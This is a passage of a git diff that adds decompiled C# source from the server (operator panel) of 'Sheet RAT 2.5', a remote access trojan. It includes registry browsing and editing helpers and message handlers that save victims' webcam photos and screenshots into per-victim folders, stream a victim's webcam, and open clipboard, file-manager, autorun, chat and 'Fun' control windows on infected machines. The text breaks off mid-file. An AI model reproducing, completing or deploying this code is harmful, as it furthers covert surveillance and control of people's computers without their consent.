case RegistryValueKind.DWord: + uint uint32 = ByteConverter.ToUInt32(value.Data); + return $"0x{uint32:x8} ({uint32})"; + case RegistryValueKind.MultiString: + return string.Join(" ", ByteConverter.ToStringArray(value.Data)); + case RegistryValueKind.QWord: + ulong uint64 = ByteConverter.ToUInt64(value.Data); + return $"0x{uint64:x8} ({uint64})"; + default: + return string.Empty; + } + } +} +} diff --git a/Server/Server/Helper/RegistryKeyExtensions.cs b/Server/Server/Helper/RegistryKeyExtensions.cs new file mode 100644 index 0000000..beab0c5 --- /dev/null +++ b/Server/Server/Helper/RegistryKeyExtensions.cs @@ -0,0 +1,85 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.RegistryKeyExtensions +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Microsoft.Win32; +using System; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper { + +public static class RegistryKeyExtensions +{ + public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData) + { + if (valueData == null) + return "(value not set)"; + switch (valueKind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return valueData.ToString(); + case RegistryValueKind.Binary: + return ((byte[]) valueData).Length != 0 ? BitConverter.ToString((byte[]) valueData).Replace("-", " ").ToLower() : "(zero-length binary value)"; + case RegistryValueKind.DWord: + return $"0x{((uint) (int) valueData).ToString("x8")} ({((uint) (int) valueData).ToString()})"; + case RegistryValueKind.MultiString: + return string.Join(" ", (string[]) valueData); + case RegistryValueKind.QWord: + return $"0x{((ulong) (long) valueData).ToString("x8")} ({((ulong) (long) valueData).ToString()})"; + default: + return string.Empty; + } + } + + public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, false); + } + catch + { + return (RegistryKey) null; + } + } + + public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, true); + } + catch + { + return (RegistryKey) null; + } + } + + public static string RegistryTypeToString(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Unknown: + return "(Unknown)"; + case RegistryValueKind.String: + return "REG_SZ"; + case RegistryValueKind.ExpandString: + return "REG_EXPAND_SZ"; + case RegistryValueKind.Binary: + return "REG_BINARY"; + case RegistryValueKind.DWord: + return "REG_DWORD"; + case RegistryValueKind.MultiString: + return "REG_MULTI_SZ"; + case RegistryValueKind.QWord: + return "REG_QWORD"; + default: + return "REG_NONE"; + } + } +} +} diff --git a/Server/Server/Helper/RegistryKeyHelper.cs b/Server/Server/Helper/RegistryKeyHelper.cs new file mode 100644 index 0000000..268bb96 --- /dev/null +++ b/Server/Server/Helper/RegistryKeyHelper.cs @@ -0,0 +1,137 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.RegistryKeyHelper +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Microsoft.Win32; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; + +//#nullable disable +namespace Server.Helper { + +public static class RegistryKeyHelper +{ + private static string DEFAULT_VALUE = string.Empty; + + public static bool AddRegistryKeyValue( + RegistryHive hive, + string path, + string name, + string value, + bool addQuotes = false) + { + try + { + using (RegistryKey registryKey = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (registryKey == null) + return false; + if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\"")) + value = $"\"{value}\""; + registryKey.SetValue(name, (object) value); + return true; + } + } + catch (Exception ex) + { + return false; + } + } + + public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path) + { + try + { + return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false); + } + catch + { + return (RegistryKey) null; + } + } + + public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name) + { + try + { + using (RegistryKey registryKey = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (registryKey == null) + return false; + registryKey.DeleteValue(name, true); + return true; + } + } + catch (Exception ex) + { + return false; + } + } + + public static bool IsDefaultValue(string valueName) => string.IsNullOrEmpty(valueName); + + public static RegistrySeeker.RegValueData[] AddDefaultValue( + List values) + { + if (!values.Any((Func) (value => RegistryKeyHelper.IsDefaultValue(value.Name)))) + values.Add(RegistryKeyHelper.GetDefaultValue()); + return values.ToArray(); + } + + public static RegistrySeeker.RegValueData[] GetDefaultValues() + { + return new RegistrySeeker.RegValueData[1] + { + RegistryKeyHelper.GetDefaultValue() + }; + } + + public static RegistrySeeker.RegValueData CreateRegValueData( + string name, + RegistryValueKind kind, + object value = null) + { + RegistrySeeker.RegValueData regValueData = new RegistrySeeker.RegValueData() + { + Name = name, + Kind = kind + }; + if (value == null) + { + regValueData.Data = new byte[0]; + } + else + { + switch (regValueData.Kind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + regValueData.Data = ByteConverter.GetBytes((string) value); + break; + case RegistryValueKind.Binary: + regValueData.Data = (byte[]) value; + break; + case RegistryValueKind.DWord: + regValueData.Data = ByteConverter.GetBytes((uint) (int) value); + break; + case RegistryValueKind.MultiString: + regValueData.Data = ByteConverter.GetBytes((string[]) value); + break; + case RegistryValueKind.QWord: + regValueData.Data = ByteConverter.GetBytes((ulong) (long) value); + break; + } + } + return regValueData; + } + + private static RegistrySeeker.RegValueData GetDefaultValue() + { + return RegistryKeyHelper.CreateRegValueData(RegistryKeyHelper.DEFAULT_VALUE, RegistryValueKind.String); + } +} +} diff --git a/Server/Server/Helper/RegistrySeeker.cs b/Server/Server/Helper/RegistrySeeker.cs new file mode 100644 index 0000000..d390216 --- /dev/null +++ b/Server/Server/Helper/RegistrySeeker.cs @@ -0,0 +1,173 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.RegistrySeeker +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Microsoft.Win32; +using ProtoBuf; +using System; +using System.Windows.Forms; +using System.Collections.Generic; + +//#nullable disable +namespace Server.Helper { + +public class RegistrySeeker +{ + private readonly List _matches; + + public RegistrySeeker.RegSeekerMatch[] Matches => this._matches?.ToArray(); + + public RegistrySeeker() => this._matches = new List(); + + public void BeginSeeking(string rootKeyName) + { + if (!string.IsNullOrEmpty(rootKeyName)) + { + using (RegistryKey rootKey1 = RegistrySeeker.GetRootKey(rootKeyName)) + { + if (rootKey1 != null && rootKey1.Name != rootKeyName) + { + string name = rootKeyName.Substring(rootKey1.Name.Length + 1); + using (RegistryKey rootKey2 = rootKey1.OpenReadonlySubKeySafe(name)) + { + if (rootKey2 == null) + return; + this.Seek(rootKey2); + } + } + else + this.Seek(rootKey1); + } + } + else + this.Seek((RegistryKey) null); + } + + private void Seek(RegistryKey rootKey) + { + if (rootKey == null) + { + foreach (RegistryKey rootKey1 in RegistrySeeker.GetRootKeys()) + this.ProcessKey(rootKey1, rootKey1.Name); + } + else + this.Search(rootKey); + } + + private void Search(RegistryKey rootKey) + { + foreach (string subKeyName in rootKey.GetSubKeyNames()) + this.ProcessKey(rootKey.OpenReadonlySubKeySafe(subKeyName), subKeyName); + } + + private void ProcessKey(RegistryKey key, string keyName) + { + if (key != null) + { + List values = new List(); + foreach (string valueName in key.GetValueNames()) + { + RegistryValueKind valueKind = key.GetValueKind(valueName); + object obj = key.GetValue(valueName); + values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueKind, obj)); + } + this.AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount); + } + else + this.AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); + } + + private void AddMatch(string key, RegistrySeeker.RegValueData[] values, int subkeycount) + { + this._matches.Add(new RegistrySeeker.RegSeekerMatch() + { + Key = key, + Data = values, + HasSubKeys = subkeycount > 0 + }); + } + + public static RegistryKey GetRootKey(string subkeyFullPath) + { + string[] strArray = subkeyFullPath.Split('\\'); + try + { + switch (strArray[0]) + { + case "HKEY_CLASSES_ROOT": + return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64); + case "HKEY_CURRENT_USER": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64); + case "HKEY_LOCAL_MACHINE": + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + case "HKEY_USERS": + return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64); + case "HKEY_CURRENT_CONFIG": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64); + default: + throw new Exception("Invalid rootkey, could not be found."); + } + } + catch (SystemException ex) + { + throw new Exception("Unable to open root registry key, you do not have the needed permissions."); + } + catch (Exception ex) + { + throw ex; + } + } + + public static List GetRootKeys() + { + List rootKeys = new List(); + try + { + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64)); + } + catch (SystemException ex) + { + throw new Exception("Could not open root registry keys, you may not have the needed permission"); + } + catch (Exception ex) + { + throw ex; + } + return rootKeys; + } + + [ProtoContract] + public class RegSeekerMatch + { + [ProtoMember(1)] + public string Key { get; set; } + + [ProtoMember(2)] + public RegistrySeeker.RegValueData[] Data { get; set; } + + [ProtoMember(3)] + public bool HasSubKeys { get; set; } + + public override string ToString() => $"({this.Key}:{this.Data})"; + } + + [ProtoContract] + public class RegValueData + { + [ProtoMember(1)] + public string Name { get; set; } + + [ProtoMember(2)] + public RegistryValueKind Kind { get; set; } + + [ProtoMember(3)] + public byte[] Data { get; set; } + } +} +} diff --git a/Server/Server/Helper/RegistryTreeView.cs b/Server/Server/Helper/RegistryTreeView.cs new file mode 100644 index 0000000..b3f1ee4 --- /dev/null +++ b/Server/Server/Helper/RegistryTreeView.cs @@ -0,0 +1,19 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.RegistryTreeView +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper { + +public class RegistryTreeView : TreeView +{ + public RegistryTreeView() + { + this.SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + } +} +} diff --git a/Server/Server/Helper/RegistryValueLstItem.cs b/Server/Server/Helper/RegistryValueLstItem.cs new file mode 100644 index 0000000..b9b59c3 --- /dev/null +++ b/Server/Server/Helper/RegistryValueLstItem.cs @@ -0,0 +1,75 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.RegistryValueLstItem +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper { + +public class RegistryValueLstItem : ListViewItem +{ + private string _type { get; set; } + + private string _data { get; set; } + + public string RegName + { + get => this.Name; + set + { + this.Name = value; + this.Text = RegValueHelper.GetName(value); + } + } + + public string Type + { + get => this._type; + set + { + this._type = value; + if (this.SubItems.Count < 2) + this.SubItems.Add(this._type); + else + this.SubItems[1].Text = this._type; + this.ImageIndex = this.GetRegistryValueImgIndex(this._type); + } + } + + public string Data + { + get => this._data; + set + { + this._data = value; + if (this.SubItems.Count < 3) + this.SubItems.Add(this._data); + else + this.SubItems[2].Text = this._data; + } + } + + public RegistryValueLstItem(RegistrySeeker.RegValueData value) + { + this.RegName = value.Name; + this.Type = value.Kind.RegistryTypeToString(); + this.Data = RegValueHelper.RegistryValueToString(value); + } + + private int GetRegistryValueImgIndex(string type) + { + switch (type) + { + case "REG_MULTI_SZ": + case "REG_SZ": + case "REG_EXPAND_SZ": + return 0; + default: + return 1; + } + } +} +} diff --git a/Server/Server/Helper/WordTextBox.cs b/Server/Server/Helper/WordTextBox.cs new file mode 100644 index 0000000..2bd4eae --- /dev/null +++ b/Server/Server/Helper/WordTextBox.cs @@ -0,0 +1,173 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.WordTextBox +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Globalization; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Helper { + +public class WordTextBox : TextBox +{ + private bool isHexNumber; + private WordTextBox.WordType type; + private IContainer components; + + public override int MaxLength + { + get => base.MaxLength; + set + { + } + } + + public bool IsHexNumber + { + get => this.isHexNumber; + set + { + if (this.isHexNumber == value) + return; + if (value) + { + if (this.Type == WordTextBox.WordType.DWORD) + this.Text = this.UIntValue.ToString("x"); + else + this.Text = this.ULongValue.ToString("x"); + } + else if (this.Type == WordTextBox.WordType.DWORD) + this.Text = this.UIntValue.ToString(); + else + this.Text = this.ULongValue.ToString(); + this.isHexNumber = value; + this.UpdateMaxLength(); + } + } + + public WordTextBox.WordType Type + { + get => this.type; + set + { + if (this.type == value) + return; + this.type = value; + this.UpdateMaxLength(); + } + } + + public uint UIntValue + { + get + { + try + { + if (string.IsNullOrEmpty(this.Text)) + return 0; + return this.IsHexNumber ? uint.Parse(this.Text, NumberStyles.HexNumber) : uint.Parse(this.Text); + } + catch (Exception ex) + { + return uint.MaxValue; + } + } + } + + public ulong ULongValue + { + get + { + try + { + if (string.IsNullOrEmpty(this.Text)) + return 0; + return this.IsHexNumber ? ulong.Parse(this.Text, NumberStyles.HexNumber) : ulong.Parse(this.Text); + } + catch (Exception ex) + { + return ulong.MaxValue; + } + } + } + + public bool IsConversionValid() + { + return string.IsNullOrEmpty(this.Text) || this.IsHexNumber || this.ConvertToHex(); + } + + public WordTextBox() + { + this.InitializeComponent(); + base.MaxLength = 8; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + e.Handled = !this.IsValidChar(e.KeyChar); + } + + private bool IsValidChar(char ch) + { + if (char.IsControl(ch) || char.IsDigit(ch)) + return true; + return this.IsHexNumber && char.IsLetter(ch) && char.ToLower(ch) <= 'f'; + } + + private new void UpdateMaxLength() + { + if (this.Type == WordTextBox.WordType.DWORD) + { + if (this.IsHexNumber) + base.MaxLength = 8; + else + base.MaxLength = 10; + } + else if (this.IsHexNumber) + base.MaxLength = 16 /*0x10*/; + else + base.MaxLength = 20; + } + + private bool ConvertToHex() + { + try + { + if (this.Type == WordTextBox.WordType.DWORD) + { + int num1 = (int) uint.Parse(this.Text); + } + else + { + long num2 = (long) ulong.Parse(this.Text); + } + return true; + } + catch (Exception ex) + { + return false; + } + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container(); + + public enum WordType + { + DWORD, + QWORD, + } +} +} diff --git a/Server/Server/Helper/lonc.cs b/Server/Server/Helper/lonc.cs new file mode 100644 index 0000000..e3de6b6 --- /dev/null +++ b/Server/Server/Helper/lonc.cs @@ -0,0 +1,20 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Helper.lonc +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Ionic.Zip; + +//#nullable disable +namespace Server.Helper { + +internal class lonc +{ + public static void UnZip(string path) + { + using (ZipFile zipFile = new ZipFile(path)) + zipFile.ExtractAll(path.Replace(".zip", "")); + } +} +} diff --git a/Server/Server/Message/HandlerAutoTaskPhoto.cs b/Server/Server/Message/HandlerAutoTaskPhoto.cs new file mode 100644 index 0000000..a2efb10 --- /dev/null +++ b/Server/Server/Message/HandlerAutoTaskPhoto.cs @@ -0,0 +1,28 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerAutoTaskPhoto +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerAutoTaskPhoto +{ + public HandlerAutoTaskPhoto(Clients client, string[] Messages) + { + using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(Messages[3]))) + { + if (!Directory.Exists($"Users\\{Messages[1]}\\Action\\Camera")) + Directory.CreateDirectory($"Users\\{Messages[1]}\\Action\\Camera"); + Image.FromStream((Stream) memoryStream).Save($"Users\\{Messages[1]}\\Action\\Camera\\{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}_{Messages[2]}.jpeg"); + } + } +} +} diff --git a/Server/Server/Message/HandlerAutoTaskScreenShot.cs b/Server/Server/Message/HandlerAutoTaskScreenShot.cs new file mode 100644 index 0000000..64fa894 --- /dev/null +++ b/Server/Server/Message/HandlerAutoTaskScreenShot.cs @@ -0,0 +1,28 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerAutoTaskScreenShot +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerAutoTaskScreenShot +{ + public HandlerAutoTaskScreenShot(Clients client, string[] Messages) + { + using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(Messages[3]))) + { + if (!Directory.Exists($"Users\\{Messages[1]}\\Action\\Screen")) + Directory.CreateDirectory($"Users\\{Messages[1]}\\Action\\Screen"); + Image.FromStream((Stream) memoryStream).Save($"Users\\{Messages[1]}\\Action\\Screen\\{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}_{Messages[2]}.jpeg"); + } + } +} +} diff --git a/Server/Server/Message/HandlerCapture.cs b/Server/Server/Message/HandlerCapture.cs new file mode 100644 index 0000000..fcd678f --- /dev/null +++ b/Server/Server/Message/HandlerCapture.cs @@ -0,0 +1,50 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerCapture +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerCapture +{ + public HandlerCapture(Clients client, string[] Messages) + { + FormRemoteCamera webcam = (FormRemoteCamera) Application.OpenForms["Webcam:" + client.ID]; + try + { + if (webcam != null) + webcam.Invoke((MethodInvoker) (() => + { + using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(Messages[1]))) + { + webcam.pictureBox1.Image = (Image) Image.FromStream((Stream) memoryStream).Clone(); + ++webcam.FPS; + if (webcam.sw.ElapsedMilliseconds < 1000L) + return; + webcam.Text = $"{$"WebCam hwid: {client.ID} Fps: {webcam.FPS} Screen:"}{webcam.pictureBox1.Image.Width.ToString()} x {webcam.pictureBox1.Image.Height.ToString()} Size: {Methods.BytesToString(memoryStream.Length)}"; + webcam.FPS = 0; + webcam.sw = Stopwatch.StartNew(); + webcam.Refresh(); + } + })); + else + client.Disconnected(); + } + catch + { + } + } +} +} diff --git a/Server/Server/Message/HandlerChatMessage.cs b/Server/Server/Message/HandlerChatMessage.cs new file mode 100644 index 0000000..2f0b369 --- /dev/null +++ b/Server/Server/Message/HandlerChatMessage.cs @@ -0,0 +1,41 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerChatMessage +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerChatMessage +{ + public HandlerChatMessage(Clients client, string[] Messages) + { + FormChat CT = (FormChat) Application.OpenForms["Chat:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.ChatikPanel.Controls.Add((Control) new Server.Forms.Message() + { + ChatText = { + Text = $"{CT.User}\n{Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1]))}" + }, + Width = (CT.ChatikPanel.Width - 10), + Dock = DockStyle.Bottom, + Avatar = { + Image = CT.AvatarUser + } + }); + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectAutoRun.cs b/Server/Server/Message/HandlerConnectAutoRun.cs new file mode 100644 index 0000000..5f8fe3e --- /dev/null +++ b/Server/Server/Message/HandlerConnectAutoRun.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectAutoRun +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectAutoRun +{ + public HandlerConnectAutoRun(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormAutoRun CT = (FormAutoRun) Application.OpenForms["AutoRun:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.Plugin = client; + CT.timer1.Start(); + FormAutoRun formAutoRun = CT; + formAutoRun.Text = $"{formAutoRun.Text}: {client.ID}"; + CT.Refresh(); + CT.client.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectChat.cs b/Server/Server/Message/HandlerConnectChat.cs new file mode 100644 index 0000000..5c35069 --- /dev/null +++ b/Server/Server/Message/HandlerConnectChat.cs @@ -0,0 +1,42 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectChat +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectChat +{ + public HandlerConnectChat(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormChat CT = (FormChat) Application.OpenForms["Chat:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.client = client; + CT.User = Messages[3]; + CT.timer1.Start(); + using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(Messages[2]))) + CT.AvatarUser = Image.FromStream((Stream) memoryStream); + CT.button2.Visible = true; + FormChat formChat = CT; + formChat.Text = $"{formChat.Text}: {client.ID}"; + CT.Refresh(); + CT.client.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectChatEnd.cs b/Server/Server/Message/HandlerConnectChatEnd.cs new file mode 100644 index 0000000..ca043b9 --- /dev/null +++ b/Server/Server/Message/HandlerConnectChatEnd.cs @@ -0,0 +1,31 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectChatEnd +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectChatEnd +{ + public HandlerConnectChatEnd(Clients client, string[] Messages) + { + FormChat CT = (FormChat) Application.OpenForms["Chat:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.panel1.Visible = false; + CT.client.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectClipboard.cs b/Server/Server/Message/HandlerConnectClipboard.cs new file mode 100644 index 0000000..a113bb0 --- /dev/null +++ b/Server/Server/Message/HandlerConnectClipboard.cs @@ -0,0 +1,40 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectClipboard +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectClipboard +{ + public HandlerConnectClipboard(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormClipboard Clipboard = (FormClipboard) Application.OpenForms["Clipboard:" + client.ID]; + if (Clipboard == null) + client.Disconnected(); + else if (Clipboard.client != null) + client.Disconnected(); + else + Clipboard.Invoke((MethodInvoker) (() => + { + Clipboard.client = client; + FormClipboard formClipboard = Clipboard; + formClipboard.Text = $"{formClipboard.Text}:{client.ID}"; + Clipboard.textBox1.Text = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[2])); + Clipboard.timer1.Start(); + Clipboard.Refresh(); + Clipboard.ParentClient.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectFun.cs b/Server/Server/Message/HandlerConnectFun.cs new file mode 100644 index 0000000..8b8b734 --- /dev/null +++ b/Server/Server/Message/HandlerConnectFun.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectFun +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectFun +{ + public HandlerConnectFun(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormFun CT = (FormFun) Application.OpenForms["Fun:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.Plugin = client; + CT.timer1.Start(); + FormFun formFun = CT; + formFun.Text = $"{formFun.Text}: {client.ID}"; + CT.Refresh(); + CT.client.LastPiy = DateTime.Now; + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectManager.cs b/Server/Server/Message/HandlerConnectManager.cs new file mode 100644 index 0000000..5a6b93d --- /dev/null +++ b/Server/Server/Message/HandlerConnectManager.cs @@ -0,0 +1,37 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectManager +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerConnectManager +{ + public HandlerConnectManager(Clients client, string[] Messages) + { + client.ID = Messages[1]; + FormFileManager CT = (FormFileManager) Application.OpenForms["FileManager:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => + { + CT.Plugin = client; + FormFileManager formFileManager = CT; + formFileManager.Text = $"{formFileManager.Text}: {client.ID}"; + CT.Refresh(); + CT.timer1.Start(); + CT.client.LastPiy = DateTime.Now; + client.Send((object) "GetDrive"); + })); + } +} +} diff --git a/Server/Server/Message/HandlerConnectMessage.cs b/Server/Server/Message/HandlerConnectMessage.cs new file mode 100644 index 0000000..7da1143 --- /dev/null +++ b/Server/Server/Message/HandlerConnectMessage.cs @@ -0,0 +1,36 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerConnectMessage +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 